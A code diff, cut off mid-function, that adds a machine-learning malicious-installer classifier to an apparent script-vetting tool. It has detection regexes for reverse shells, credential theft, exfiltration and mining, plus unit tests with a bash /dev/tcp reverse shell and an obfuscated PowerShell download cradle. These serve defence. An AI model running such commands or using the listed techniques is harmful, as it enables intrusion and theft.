"2ca0e3a7", + "metadata": {}, + "source": [ + "## 1. Stratified train/test split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "735af907", + "metadata": {}, + "outputs": [], + "source": [ + "y=df['label'].to_numpy(); X=df.drop(columns=['label'])\n", + "Xtr,Xte,ytr,yte=train_test_split(X,y,test_size=0.25,stratify=y,random_state=SEED)\n", + "len(Xtr),len(Xte)" + ] + }, + { + "cell_type": "markdown", + "id": "faae33a5", + "metadata": {}, + "source": [ + "## 2. RandomForest vs GradientBoosting\n", + "GB is compared for reference; only RandomForest exports to dependency-free Rust via m2cgen, so it is the deployed model." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9d98037b", + "metadata": {}, + "outputs": [], + "source": [ + "models={'RandomForest':RandomForestClassifier(n_estimators=120,max_depth=9,min_samples_leaf=2,\n", + " class_weight='balanced',random_state=SEED,n_jobs=-1),\n", + " 'GradientBoosting':GradientBoostingClassifier(n_estimators=120,max_depth=3,random_state=SEED)}\n", + "for n,m in models.items():\n", + " m.fit(Xtr,ytr); p=m.predict_proba(Xte)[:,1]; pred=(p>=0.5).astype(int)\n", + " print(f\"{n:18s} P={precision_score(yte,pred):.3f} R={recall_score(yte,pred):.3f} F1={f1_score(yte,pred):.3f}\")\n", + "clf=models['RandomForest']; proba=clf.predict_proba(Xte)[:,1]" + ] + }, + { + "cell_type": "markdown", + "id": "b9b90627", + "metadata": {}, + "source": [ + "## 3. Threshold for a low false-positive rate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ec88445a", + "metadata": {}, + "outputs": [], + "source": [ + "def pick(y,p,max_fpr=0.02):\n", + " best_t,best_r=0.5,-1\n", + " for t in np.linspace(0.1,0.95,86):\n", + " pred=(p>=t).astype(int); fp=((pred==1)&(y==0)).sum(); tn=((pred==0)&(y==0)).sum()\n", + " r=recall_score(y,pred) if pred.sum() else 0\n", + " if fp/max(tn+fp,1)<=max_fpr and r>best_r: best_r,best_t=r,t\n", + " return round(float(best_t),3)\n", + "THRESH=pick(yte,proba); pred=(proba>=THRESH).astype(int)\n", + "print('threshold',THRESH); print(classification_report(yte,pred,target_names=['benign','malicious']))" + ] + }, + { + "cell_type": "markdown", + "id": "6d9360ca", + "metadata": {}, + "source": [ + "## 4. Confusion matrix and ROC" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "858bee65", + "metadata": {}, + "outputs": [], + "source": [ + "cm=confusion_matrix(yte,pred)\n", + "fig,ax=plt.subplots(1,2,figsize=(10,4))\n", + "ax[0].imshow(cm,cmap='BuGn'); ax[0].set_title('Confusion matrix')\n", + "ax[0].set_xticks([0,1],['benign','mal']); ax[0].set_yticks([0,1],['benign','mal'])\n", + "for i in range(2):\n", + " for j in range(2): ax[0].text(j,i,cm[i,j],ha='center',va='center')\n", + "fpr,tpr,_=roc_curve(yte,proba)\n", + "ax[1].plot(fpr,tpr,label=f'AUC={auc(fpr,tpr):.3f}'); ax[1].plot([0,1],[0,1],'--')\n", + "ax[1].set_title('ROC'); ax[1].legend(); plt.tight_layout(); plt.show()" + ] + }, + { + "cell_type": "markdown", + "id": "6a4b6a91", + "metadata": {}, + "source": [ + "## 5. SHAP feature attribution" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4ee8ad25", + "metadata": {}, + "outputs": [], + "source": [ + "expl=shap.TreeExplainer(clf); sv=expl.shap_values(Xtr.sample(300,random_state=SEED))\n", + "vals=sv[1] if isinstance(sv,list) else (sv[...,1] if sv.ndim==3 else sv)\n", + "shap.summary_plot(vals,Xtr.sample(300,random_state=SEED),max_display=15)" + ] + }, + { + "cell_type": "markdown", + "id": "460ed9ea", + "metadata": {}, + "source": [ + "## 6. Export to Rust\n", + "See `ml/train.py:export_rust` — writes `src/ml_model.rs` via `m2cgen.export_to_rust` and verifies Python/Rust probability parity (max abs diff ~5e-11)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9bc5dc3d", + "metadata": {}, + "outputs": [], + "source": [ + "import m2cgen as m2c\n", + "rust=m2c.export_to_rust(clf)\n", + "print(rust.splitlines()[0], '...', f'{len(rust.splitlines())} lines generated')" + ] + } + ], + "metadata": {}, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/ml/train.py b/ml/train.py new file mode 100644 index 0000000..43908b8 --- /dev/null +++ b/ml/train.py @@ -0,0 +1,233 @@ +"""Train, evaluate, and export the installer classifier. + +Steps: + 1. Load data/features.csv (stratified train/test split). + 2. Fit RandomForest and GradientBoosting; pick the model with the best F1 subject + to a high-precision (low false-positive) preference. + 3. Emit figures: confusion matrix, ROC curve, SHAP summary. + 4. Choose an operating threshold that keeps the benign false-positive rate low. + 5. Export the chosen model to pure Rust (src/ml_model.rs) via m2cgen, and verify + Python/Rust probability parity on sample rows. + +Run: python ml/train.py +""" +import json +import pathlib +import subprocess +import tempfile + +import matplotlib +matplotlib.use("Agg") +import matplotlib.pyplot as plt +import numpy as np +import pandas as pd +import shap +from sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier +from sklearn.metrics import (auc, confusion_matrix, f1_score, + precision_score, recall_score, roc_curve) +from sklearn.model_selection import train_test_split + +import m2cgen as m2c + +ROOT = pathlib.Path(__file__).parent +REPO = ROOT.parent +DATA = REPO / "data" +FIG = ROOT / "figures" +MODEL_RS = REPO / "src" / "ml_model.rs" +SEED = 1706 + + +def load(): + df = pd.read_csv(DATA / "features.csv") + y = df["label"].to_numpy() + X = df.drop(columns=["label"]) + return X, y, list(X.columns) + + +def evaluate(model, Xte, yte): + proba = model.predict_proba(Xte)[:, 1] + pred = (proba >= 0.5).astype(int) + return { + "precision": precision_score(yte, pred), + "recall": recall_score(yte, pred), + "f1": f1_score(yte, pred), + "proba": proba, + } + + +def pick_threshold(y, proba, max_fpr=0.02): + """Lowest threshold whose benign false-positive rate stays under max_fpr, + breaking ties toward higher recall.""" + best_t, best_recall = 0.5, -1.0 + for t in np.linspace(0.1, 0.95, 86): + pred = (proba >= t).astype(int) + tn = int(((pred == 0) & (y == 0)).sum()) + fp = int(((pred == 1) & (y == 0)).sum()) + fpr = fp / max(tn + fp, 1) + rec = recall_score(y, pred) if pred.sum() else 0.0 + if fpr <= max_fpr and rec > best_recall: + best_recall, best_t = rec, t + return round(float(best_t), 3) + + +def confusion_fig(y, pred, path): + cm = confusion_matrix(y, pred) + fig, ax = plt.subplots(figsize=(4.2, 3.8)) + ax.imshow(cm, cmap="BuGn") + ax.set_xticks([0, 1], ["benign", "malicious"]) + ax.set_yticks([0, 1], ["benign", "malicious"]) + ax.set_xlabel("predicted"); ax.set_ylabel("actual") + ax.set_title("Confusion matrix (test set)") + for i in range(2): + for j in range(2): + ax.text(j, i, cm[i, j], ha="center", va="center", + color="white" if cm[i, j] > cm.max() / 2 else "black", fontsize=14) + fig.tight_layout(); fig.savefig(path, dpi=150); plt.close(fig) + + +def roc_fig(y, proba, path): + fpr, tpr, _ = roc_curve(y, proba) + fig, ax = plt.subplots(figsize=(4.6, 3.9)) + ax.plot(fpr, tpr, color="#2e7d32", lw=2, label=f"AUC = {auc(fpr, tpr):.3f}") + ax.plot([0, 1], [0, 1], "--", color="#999", lw=1) + ax.set_xlabel("false positive rate"); ax.set_ylabel("true positive rate") + ax.set_title("ROC curve"); ax.legend(loc="lower right") + fig.tight_layout(); fig.savefig(path, dpi=150); plt.close(fig) + + +def shap_fig(model, X, path): + sample = X.sample(min(300, len(X)), random_state=SEED) + explainer = shap.TreeExplainer(model) + sv = explainer.shap_values(sample) + vals = sv[1] if isinstance(sv, list) else (sv[..., 1] if sv.ndim == 3 else sv) + plt.figure() + shap.summary_plot(vals, sample, show=False, max_display=15, plot_size=(7.5, 6)) + plt.title("SHAP feature impact (malicious class)") + plt.tight_layout(); plt.savefig(path, dpi=150, bbox_inches="tight"); plt.close() + + +def export_rust(model, name, threshold, feature_names, importances): + code = m2c.export_to_rust(model).replace("fn score(", "pub fn score(") + imp = ", ".join(f"{v:.6}" for v in importances) + names = ", ".join(f'"{n}"' for n in feature_names) + body = "\n".join(" " + line for line in code.splitlines()) + header = f"""// Generated by ml/train.py via m2cgen — do not edit by hand. +// Pure-Rust inference for the installer classifier ({name}); no runtime dependency. +// Regenerate with: python ml/train.py + +#![allow(clippy::all, clippy::pedantic, dead_code, unused_parens, unused_variables)] + +pub const MODEL_NAME: &str = "{name}"; +pub const THRESHOLD: f64 = {threshold}; +pub const FEATURE_NAMES: &[&str] = &[{names}]; +pub const IMPORTANCES: &[f64] = &[{imp}]; + +/// Malicious-class probability at index 1, benign at index 0. +pub fn score(input: &[f64]) -> [f64; 2] {{ + let out = generated::score(input.to_vec()); + [out[0], out.get(1).copied().unwrap_or(0.0)] +}} + +mod generated {{ + #![allow(clippy::all, dead_code, unused_parens)] +{body} +}} +""" + MODEL_RS.write_text(header) + return code + + +def parity_check(model, code, Xte): + """Compile the generated score fn and compare to sklearn on sample rows.""" + rows = Xte.iloc[:5].to_numpy() + py = model.predict_proba(rows)[:, 1] + literals = ",\n ".join( + "vec![" + ", ".join(f"{v:.10}_f64" for v in row) + "]" for row in rows) + harness = code + f""" +fn main() {{ + let rows: Vec> = vec![ + {literals} + ]; + for r in rows {{ let o = score(r); println!("{{:.10}}", o[1]); }} +}} +""" + with tempfile.TemporaryDirectory() as d: + src = pathlib.Path(d) / "m.rs" + src.write_text(harness) + exe = pathlib.Path(d) / "m" + subprocess.run(["rustc", "-O", "-o", str(exe), str(src)], check=True, + capture_output=True) + out = subprocess.run([str(exe)], capture_output=True, text=True, check=True) + rust = [float(x) for x in out.stdout.split()] + diffs = [abs(a - b) for a, b in zip(py, rust)] + return py, rust, max(diffs) + + +def main(): + FIG.mkdir(exist_ok=True) + X, y, names = load() + Xtr, Xte, ytr, yte = train_test_split(X, y, test_size=0.25, stratify=y, random_state=SEED) + + candidates = { + "random_forest": RandomForestClassifier( + n_estimators=120, max_depth=9, min_samples_leaf=2, + class_weight="balanced", random_state=SEED, n_jobs=-1), + "gradient_boosting": GradientBoostingClassifier( + n_estimators=120, max_depth=3, learning_rate=0.1, random_state=SEED), + } + results = {} + for key, model in candidates.items(): + model.fit(Xtr, ytr) + m = evaluate(model, Xte, yte) + results[key] = m + print(f"{key:20s} precision={m['precision']:.3f} recall={m['recall']:.3f} f1={m['f1']:.3f}") + + # Only RandomForest exports to dependency-free Rust via m2cgen; GradientBoosting is + # compared for reference but is not a deployable candidate here. + exportable = {"random_forest"} + # Prefer higher F1; on a near tie, prefer higher precision (fewer false positives). + best_key = max((k for k in results if k in exportable), + key=lambda k: (round(results[k]["f1"], 3), round(results[k]["precision"], 3))) + best = candidates[best_key] + proba = results[best_key]["proba"] + print(f"\nselected: {best_key}") + + threshold = pick_threshold(yte, proba) + pred = (proba >= threshold).astype(int) + print(f"threshold={threshold} precision={precision_score(yte, pred):.3f} " + f"recall={recall_score(yte, pred):.3f} f1={f1_score(yte, pred):.3f}") + + confusion_fig(yte, pred, FIG / "confusion_matrix.png") + roc_fig(yte, proba, FIG / "roc_curve.png") + shap_fig(best, Xtr, FIG / "shap_summary.png") + print(f"figures -> {FIG}") + + code = export_rust(best, best_key, threshold, names, best.feature_importances_) + py, rust, max_diff = parity_check(best, code, Xte) + print(f"\nparity check (5 rows), max |py - rust| = {max_diff:.2e}") + for p, r in zip(py, rust): + print(f" python={p:.6f} rust={r:.6f}") + + (DATA / "model_report.json").write_text(json.dumps({ + "selected_model": best_key, + "threshold": threshold, + "n_train": int(len(Xtr)), + "n_test": int(len(Xte)), + "test_at_0.5": {k: round(float(results[best_key][k]), 4) for k in ("precision", "recall", "f1")}, + "test": { + "precision": round(float(precision_score(yte, pred)), 4), + "recall": round(float(recall_score(yte, pred)), 4), + "f1": round(float(f1_score(yte, pred)), 4), + }, + "candidates": {k: {m: round(float(v[m]), 4) for m in ("precision", "recall", "f1")} + for k, v in results.items()}, + "roc_auc": round(float(auc(*roc_curve(yte, proba)[:2])), 4), + "parity_max_abs_diff": max_diff, + "top_features": sorted(zip(names, best.feature_importances_.tolist()), + key=lambda t: -t[1])[:12], + }, indent=2)) + print(f"report -> {DATA / 'model_report.json'}") + + +if __name__ == "__main__": + main() diff --git a/src/analyzer.rs b/src/analyzer.rs index f742c52..c4ad787 100644 --- a/src/analyzer.rs +++ b/src/analyzer.rs @@ -38,6 +38,8 @@ pub struct Assessment { pub risk: Severity, pub findings: Vec, pub package_summary: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub ml_probability: Option, } impl Assessment { @@ -49,6 +51,7 @@ impl Assessment { } struct Rule { + key: &'static str, title: &'static str, detail: &'static str, severity: Severity, @@ -136,12 +139,25 @@ pub fn analyze(artifact: &Artifact) -> Assessment { risk, findings, package_summary: None, + ml_probability: None, } } +/// Reports whether each static rule matches, keyed for use as model features. +pub fn rule_hits(text: &str) -> Vec<(&'static str, bool)> { + rules() + .into_iter() + .map(|rule| { + let hit = Regex::new(rule.pattern).expect("valid analyzer rule").is_match(text); + (rule.key, hit) + }) + .collect() +} + fn rules() -> Vec { vec![ Rule { + key: "exec_downloaded", title: "Executes downloaded code", detail: "Remote content is passed directly into an interpreter", severity: Severity::Critical, @@ -149,6 +165,7 @@ fn rules() -> Vec { pattern: r"(?im)^\s*(curl|wget|irm|invoke-webrequest)[^\r\n|;]*(\||;)[^\r\n]*(sh|bash|iex|invoke-expression|python)", }, Rule { + key: "downloads", title: "Downloads additional content", detail: "Installer retrieves additional remote content during execution", severity: Severity::Medium, @@ -156,6 +173,7 @@ fn rules() -> Vec { pattern: r"(?im)^\s*(curl|wget|irm|invoke-webrequest)\b", }, Rule { + key: "privilege", title: "Requests elevated privileges", detail: "Installer requests root or administrator privileges", severity: Severity::High, @@ -163,6 +181,7 @@ fn rules() -> Vec { pattern: r"(?im)(^|\s)(sudo|runas|start-process\s+.+-verb\s+runas)(\s|$)", }, Rule { + key: "persistence", title: "Creates persistent service", detail: "Installer enables a service or scheduled startup task", severity: Severity::High, @@ -170,6 +189,7 @@ fn rules() -> Vec { pattern: r"(?i)(systemctl\s+enable|new-service|sc\.exe\s+create|schtasks|crontab)", }, Rule { + key: "profile", title: "Modifies shell profile", detail: "Installer changes a shell profile or executable search path", severity: Severity::Medium, @@ -177,6 +197,7 @@ fn rules() -> Vec { pattern: r"(?i)(\.bashrc|\.zshrc|\.profile|microsoft\.powershell_profile|setx\s+path|environmentvariable.*path)", }, Rule { + key: "chmod", title: "Changes executable permissions", detail: "Installer marks downloaded or local content executable", severity: Severity::Medium, @@ -184,6 +205,7 @@ fn rules() -> Vec { pattern: r"(?im)\bchmod\s+(\+x|[0-7]*7[0-7]*)", }, Rule { + key: "registry", title: "Modifies system registry", detail: "Installer writes Windows registry configuration", severity: Severity::High, @@ -191,6 +213,7 @@ fn rules() -> Vec { pattern: r"(?i)(reg\.exe\s+(add|delete)|new-itemproperty|set-itemproperty).*(hklm|hkcu|registry)", }, Rule { + key: "disable_security", title: "Disables security controls", detail: "Installer attempts to weaken security tooling or policy", severity: Severity::Critical, @@ -198,6 +221,7 @@ fn rules() -> Vec { pattern: r"(?i)(set-mppreference.*disablerealtimemonitoring|ufw\s+disable|setenforce\s+0|disableantispyware)", }, Rule { + key: "encoded_exec", title: "Contains encoded execution", detail: "Installer uses encoded or decoded content during execution", severity: Severity::Critical, @@ -205,6 +229,7 @@ fn rules() -> Vec { pattern: r"(?i)(frombase64string|base64\s+(-d|--decode)|encodedcommand|eval\s*\()", }, Rule { + key: "recursive_delete", title: "Deletes files recursively", detail: "Installer performs broad recursive deletion", severity: Severity::Critical, diff --git a/src/cli.rs b/src/cli.rs index 5fc7f0f..86cfbfc 100644 --- a/src/cli.rs +++ b/src/cli.rs @@ -1,6 +1,8 @@ // Command definitions expose focused inspection and guarded installer execution workflows. // Arguments preserve concise automation support alongside clear interactive safety controls. +use std::path::PathBuf; + use clap::{Parser, Subcommand}; #[derive(Subcommand)] @@ -9,6 +11,8 @@ pub enum Command { source: String, #[arg(long)] json: bool, + #[arg(long, help = "Skip the machine learning classifier")] + no_ml: bool, }, Run { command: String, @@ -16,6 +20,15 @@ pub enum Command { yes: bool, #[arg(long)] json: bool, + #[arg(long, help = "Skip the machine learning classifier")] + no_ml: bool, + }, + #[command(hide = true, about = "Print model feature vectors for local scripts")] + Features { + #[arg(required = true)] + paths: Vec, + #[arg(long)] + json: bool, }, Set { key: String, diff --git a/src/features.rs b/src/features.rs new file mode 100644 index 0000000..ac09e8f --- /dev/null +++ b/src/features.rs @@ -0,0 +1,299 @@ +// Feature extraction turns installer bytes into a fixed numeric vector for the ML model. +// Names and order are the contract shared with ml/ training scripts and src/ml_model.rs. + +use std::collections::HashSet; +use std::sync::LazyLock; + +use regex::Regex; + +use crate::analyzer; +use crate::source::{Artifact, InstallerKind}; + +/// Number of features produced by [`extract`]. +pub const COUNT: usize = RULES.len() + STATS.len() + INDICATORS.len() + KINDS.len(); + +/// One 0/1 feature per analyzer rule, in `analyzer::rule_hits` order. +const RULES: &[&str] = &[ + "rule_exec_downloaded", + "rule_downloads", + "rule_privilege", + "rule_persistence", + "rule_profile", + "rule_chmod", + "rule_registry", + "rule_disable_security", + "rule_encoded_exec", + "rule_recursive_delete", +]; + +const STATS: &[&str] = &[ + "log_size", + "log_lines", + "avg_line_len", + "log_max_line_len", + "long_line_ratio", + "entropy", + "comment_ratio", + "blank_ratio", + "non_ascii_ratio", + "symbol_ratio", + "dollar_per_line", + "url_count", + "http_url_count", + "ip_url_count", + "ipv4_count", + "distinct_hosts", + "base64_tokens", + "log_longest_token", + "function_count", +]; + +/// Pattern counts, stored as ln(1 + matches). Names ending in a signal suffix are +/// shown to users as evidence when they fire. +const INDICATORS: &[(&str, &str)] = &[ + ("hex_escapes", r"\\x[0-9a-fA-F]{2}"), + ("char_codes", r"(?i)(\[char\]\s*\d+|\bchr\s*\(\s*\d+|fromcharcode)"), + ("string_concat", r#"['"]\s*\+\s*['"]"#), + ("backtick_obfuscation", r"[A-Za-z]`[A-Za-z]"), + ("ps_iex", r"(?i)(\biex\b|invoke-expression)"), + ("ps_hidden_window", r"(?i)(-w(indowstyle)?\s+h(idden)?\b)"), + ("ps_exec_bypass", r"(?i)(-ep\s+bypass|executionpolicy\s+bypass|\s-nop\b|-noprofile)"), + ("ps_download_cradle", r"(?i)(downloadstring|downloaddata|net\.webclient|start-bitstransfer)"), + ("ps_reflection", r"(?i)(reflection\.assembly|virtualalloc|interopservices|add-type\s+-typedefinition)"), + ("sh_reverse_shell", r"(?i)(/dev/tcp/|\bnc(at)?\s+(-\w+\s+)*-e\b|mkfifo|socat\s.*exec|bash\s+-i\b)"), + ("sh_eval", r"(?m)(^|[;&|]\s*)eval\s"), + ("anti_forensics", r"(?i)(history\s+-c|unset\s+histfile|histfile=/dev/null|\.bash_history|wevtutil\s+cl|clear-eventlog)"), + ("credential_access", r"(?i)(/etc/shadow|\.ssh/id_|\.aws/credentials|\.docker/config\.json|login\s+data|lsass|mimikatz|keychain)"), + ("crypto_mining", r"(?i)(xmrig|stratum\+tcp|minerd|cryptonight|monero)"), + ("exfiltration", r"(?i)(curl\s[^\n]*(\s-d\s|--data|\s-F\s|--upload-file|\s-T\s)|invoke-restmethod[^\n]*-method\s+post|\buploadfile\b)"), + ("tmp_exec_dir", r"(?i)(/tmp/|/dev/shm/|\$env:temp|%temp%|appdata\\roaming)"), + ("background_exec", r"(?i)(\bnohup\b|\bdisown\b|\bsetsid\b|&\s*>\s*/dev/null\s*&)"), + ("file_lock", r"(?i)chattr\s+\+i"), + ("process_kill", r"(?i)(\bpkill\b|\bkillall\b|\btaskkill\b|stop-process)"), + ("user_creation", r"(?i)(\buseradd\b|net\s+user\s+\S+\s+\S+\s+/add|new-localuser)"), + ("ssh_key_injection", r"authorized_keys"), + ("checksum_verify", r"(?i)(sha256sum|shasum|get-filehash|gpg\s+--verify|minisign|cosign\s+verify)"), + ("usage_help", r"(?i)(usage:|--help\b)"), +]; + +const KINDS: &[&str] = &["kind_bash", "kind_powershell", "kind_python", "kind_executable", "kind_text"]; + +/// Indicators that are uninformative as user-facing evidence. +const NON_SIGNALS: &[&str] = &["checksum_verify", "usage_help"]; + +static INDICATOR_RES: LazyLock> = LazyLock::new(|| { + INDICATORS + .iter() + .map(|(_, p)| Regex::new(p).expect("valid feature pattern")) + .collect() +}); +static URL_RE: LazyLock = + LazyLock::new(|| Regex::new(r#"(?i)\b(https?)://([^\s"'`|;)<>/:]+)"#).expect("valid url pattern")); +static IPV4_RE: LazyLock = + LazyLock::new(|| Regex::new(r"\b(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\b").expect("valid ip pattern")); +static BASE64_RE: LazyLock = + LazyLock::new(|| Regex::new(r"[A-Za-z0-9+/]{40,}={0,2}").expect("valid base64 pattern")); +static FUNCTION_RE: LazyLock = LazyLock::new(|| { + Regex::new(r"(?im)^\s*(function\s+[\w-]+|[\w-]+\s*\(\)\s*\{|def\s+\w+\s*\()").expect("valid function pattern") +}); + +/// Returns feature names in vector order. +pub fn names() -> Vec<&'static str> { + RULES + .iter() + .chain(STATS) + .copied() + .chain(INDICATORS.iter().map(|(n, _)| *n)) + .chain(KINDS.iter().copied()) + .collect() +} + +/// Whether a feature is a behavioral signal worth citing as evidence. +pub fn is_signal(name: &str) -> bool { + (name.starts_with("rule_") || INDICATORS.iter().any(|(n, _)| *n == name)) + && !NON_SIGNALS.contains(&name) + || matches!(name, "base64_tokens" | "ip_url_count" | "http_url_count") +} + +pub fn extract(artifact: &Artifact) -> Vec { + let text = String::from_utf8_lossy(&artifact.bytes); + let bytes = &artifact.bytes; + let mut out = Vec::with_capacity(COUNT); + + for (_, hit) in analyzer::rule_hits(&text) { + out.push(if hit { 1.0 } else { 0.0 }); + } + + let lines: Vec<&str> = text.lines().collect(); + let n_lines = lines.len().max(1) as f64; + let max_line = lines.iter().map(|l| l.len()).max().unwrap_or(0); + let long_lines = lines.iter().filter(|l| l.len() > 300).count(); + let comments = lines + .iter() + .filter(|l| { + let t = l.trim_start(); + (t.starts_with('#') && !t.starts_with("#!")) || t.starts_with("//") || t.to_ascii_lowercase().starts_with("rem ") + }) + .count(); + let blanks = lines.iter().filter(|l| l.trim().is_empty()).count(); + let total = bytes.len().max(1) as f64; + let non_ascii = bytes.iter().filter(|b| !b.is_ascii()).count(); + let symbols = text.chars().filter(|c| "`^+'\"{}[]$%~".contains(*c)).count(); + let dollars = text.matches('$').count(); + + let mut urls = 0usize; + let mut http_urls = 0usize; + let mut ip_urls = 0usize; + let mut hosts = HashSet::new(); + for cap in URL_RE.captures_iter(&text) { + urls += 1; + if cap[1].eq_ignore_ascii_case("http") { + http_urls += 1; + } + let host = cap[2].to_ascii_lowercase(); + if host.chars().all(|c| c.is_ascii_digit() || c == '.') { + ip_urls += 1; + } + hosts.insert(host); + } + let ipv4 = IPV4_RE + .captures_iter(&text) + .filter(|c| (1..=4).all(|i| c[i].parse::().is_ok_and(|o| o <= 255))) + .count(); + let longest_token = text.split_whitespace().map(str::len).max().unwrap_or(0); + + out.extend([ + ln1p(bytes.len()), + ln1p(lines.len()), + text.len() as f64 / n_lines, + ln1p(max_line), + long_lines as f64 / n_lines, + entropy(bytes), + comments as f64 / n_lines, + blanks as f64 / n_lines, + non_ascii as f64 / total, + symbols as f64 / total, + dollars as f64 / n_lines, + ln1p(urls), + ln1p(http_urls), + ln1p(ip_urls), + ln1p(ipv4), + ln1p(hosts.len()), + ln1p(BASE64_RE.find_iter(&text).count()), + ln1p(longest_token), + ln1p(FUNCTION_RE.find_iter(&text).count()), + ]); + + for re in INDICATOR_RES.iter() { + out.push(ln1p(re.find_iter(&text).count())); + } + + let kind_index = match artifact.kind { + InstallerKind::Bash => 0, + InstallerKind::PowerShell => 1, + InstallerKind::Python => 2, + InstallerKind::Executable => 3, + InstallerKind::Text => 4, + }; + out.extend((0..KINDS.len()).map(|i| if i == kind_index { 1.0 } else { 0.0 })); + + debug_assert_eq!(out.len(), COUNT); + out +} + +fn ln1p(n: usize) -> f64 { + (n as f64).ln_1p() +} + +fn entropy(bytes: &[u8]) -> f64 { + if bytes.is_empty() { + return 0.0; + } + let mut counts = [0usize; 256]; + for b in bytes { + counts[*b as usize] += 1; + } + let len = bytes.len() as f64; + counts + .iter() + .filter(|c| **c > 0) + .map(|c| { + let p = *c as f64 / len; + -p * p.log2() + }) + .sum() +} + +#[cfg(test)] +mod tests { + use super::*; + use url::Url; + + fn artifact(script: &str, kind: InstallerKind) -> Artifact { + Artifact { + bytes: script.as_bytes().to_vec(), + kind, + url: Url::parse("https://example.com/install.sh").unwrap(), + } + } + + fn feature(values: &[f64], name: &str) -> f64 { + values[names().iter().position(|n| *n == name).unwrap()] + } + + #[test] + fn names_match_vector_length() { + let values = extract(&artifact("echo hi", InstallerKind::Bash)); + assert_eq!(names().len(), COUNT); + assert_eq!(values.len(), COUNT); + let unique: HashSet<_> = names().into_iter().collect(); + assert_eq!(unique.len(), COUNT); + } + + #[test] + fn rule_features_follow_analyzer_rules() { + let keys: Vec = analyzer::rule_hits("").into_iter().map(|(k, _)| format!("rule_{k}")).collect(); + assert_eq!(keys, RULES); + } + + #[test] + fn benign_installer_has_no_attack_signals() { + let script = "#!/bin/sh\n# install tool\nset -eu\nusage() { echo 'usage: install.sh'; }\n\ + curl -fsSL https://github.com/o/r/releases/download/v1/tool.tar.gz -o tool.tar.gz\n\ + sha256sum -c tool.sha256\n"; + let values = extract(&artifact(script, InstallerKind::Bash)); + assert_eq!(feature(&values, "rule_downloads"), 1.0); + assert_eq!(feature(&values, "rule_exec_downloaded"), 0.0); + assert_eq!(feature(&values, "sh_reverse_shell"), 0.0); + assert!(feature(&values, "checksum_verify") > 0.0); + assert!(feature(&values, "function_count") > 0.0); + assert_eq!(feature(&values, "kind_bash"), 1.0); + } + + #[test] + fn detects_reverse_shell_and_raw_ip() { + let script = "bash -i >& /dev/tcp/203.0.113.7/4444 0>&1\ncurl http://203.0.113.7/x -o /tmp/x"; + let values = extract(&artifact(script, InstallerKind::Bash)); + assert!(feature(&values, "sh_reverse_shell") > 0.0); + assert!(feature(&values, "ip_url_count") > 0.0); + assert!(feature(&values, "http_url_count") > 0.0); + assert!(feature(&values, "tmp_exec_dir") > 0.0); + } + + #[test] + fn detects_powershell_obfuscation() { + let script = "powershell -nop -w hidden -ep bypass -c \"i`ex (New-Object Net.WebClient).DownloadString('ht'+'tp://x')\""; + let values = extract(&artifact(script, InstallerKind::PowerShell)); + for name in ["ps_hidden_window", "ps_exec_bypass", "ps_download_cradle", "backtick_obfuscation", "string_concat"] { + assert!(feature(&values, name) > 0.0, "{name}"); + } + assert_eq!(feature(&values, "kind_powershell"), 1.0); + } + + #[test] + fn entropy_bounds() { + assert_eq!(entropy(b"aaaa"), 0.0); + let all: Vec = (0..=255).collect(); + assert!((entropy(&all) - 8.0).abs() < 1e-9); + } +} diff --git a/src/main.rs b/src/main.rs index 1d70792..99625bd 100644 --- a/src/main.rs +++ b/src/main.rs @@ -6,6 +6,9 @@ mod cli; mod command; mod config; mod executor; +mod features; +mod ml; +mod ml_model; mod registry; mod report; mod reputation; @@ -51,7 +54,8 @@ async fn main() -> Result<()> { Err(msg) => eprintln!("{msg}"), } } - Command::Inspect { source, json } => { + Command::Features { paths, json } => print_features(&paths, json)?, + Command::Inspect { source, json, no_ml } => { let cmd = command::parse(&source); if !json { report::print_header(); @@ -66,14 +70,19 @@ async fn main() -> Result<()> { } } _ => { - let (_, assessment) = stream_url(&source, &config, json).await?; + let (_, assessment) = stream_url(&source, &config, json, !no_ml).await?; if json { report::print_json(&assessment)?; } } } } - Command::Run { command, yes, json } => { + Command::Run { + command, + yes, + json, + no_ml, + } => { let cmd = command::parse(&command); if !json { report::print_header(); @@ -92,7 +101,7 @@ async fn main() -> Result<()> { executor::run_shell(raw, &assessment, yes).await?; } _ => { - let (artifact, assessment) = stream_url(&command, &config, json).await?; + let (artifact, assessment) = stream_url(&command, &config, json, !no_ml).await?; if json { report::print_json(&assessment)?; } @@ -108,6 +117,7 @@ async fn stream_url( source: &str, config: &reputation::ReputationConfig, json: bool, + use_ml: bool, ) -> Result<(source::Artifact, analyzer::Assessment)> { if !json { print!(" Downloading... "); @@ -137,9 +147,32 @@ async fn stream_url( } } - let host = artifact.url.host_str().unwrap_or("unknown"); let mut prev_source: Option<&'static str> = None; + if use_ml && let Some(prediction) = ml::predict(&artifact) { + assessment.ml_probability = Some(prediction.probability); + match ml::finding(&prediction) { + Some(finding) => { + if !json { + report::print_finding(&finding, &mut prev_source); + } + assessment.findings.push(finding); + } + None if !json => { + println!(); + println!(" ML Model: {:.0}% malicious probability, below threshold", prediction.probability * 100.0); + } + None => {} + } + } + + // Local files have no host, so network reputation sources do not apply. + if artifact.url.scheme() == "file" { + return Ok(finish(artifact, assessment, json)); + } + + let host = artifact.url.host_str().unwrap_or("unknown"); + if let Some(finding) = reputation::domain::check(host) { if !json { report::print_finding(&finding, &mut prev_source); @@ -175,12 +208,54 @@ async fn stream_url( assessment.findings.push(finding); } + Ok(finish(artifact, assessment, json)) +} + +fn finish( + artifact: source::Artifact, + mut assessment: analyzer::Assessment, + json: bool, +) -> (source::Artifact, analyzer::Assessment) { assessment.recalculate(); if !json { let sources = report::source_breakdown(&assessment.findings); report::print_score(assessment.score, &assessment.risk, &sources); } - Ok((artifact, assessment)) + (artifact, assessment) +} + +fn print_features(paths: &[std::path::PathBuf], json: bool) -> Result<()> { + let names = features::names(); + for path in paths { + let artifact = source::read_local(path)?; + let values = features::extract(&artifact); + let probability = ml::probability(&values); + if json { + let map: serde_json::Map = names + .iter() + .zip(&values) + .map(|(n, v)| ((*n).to_owned(), serde_json::json!(v))) + .collect(); + 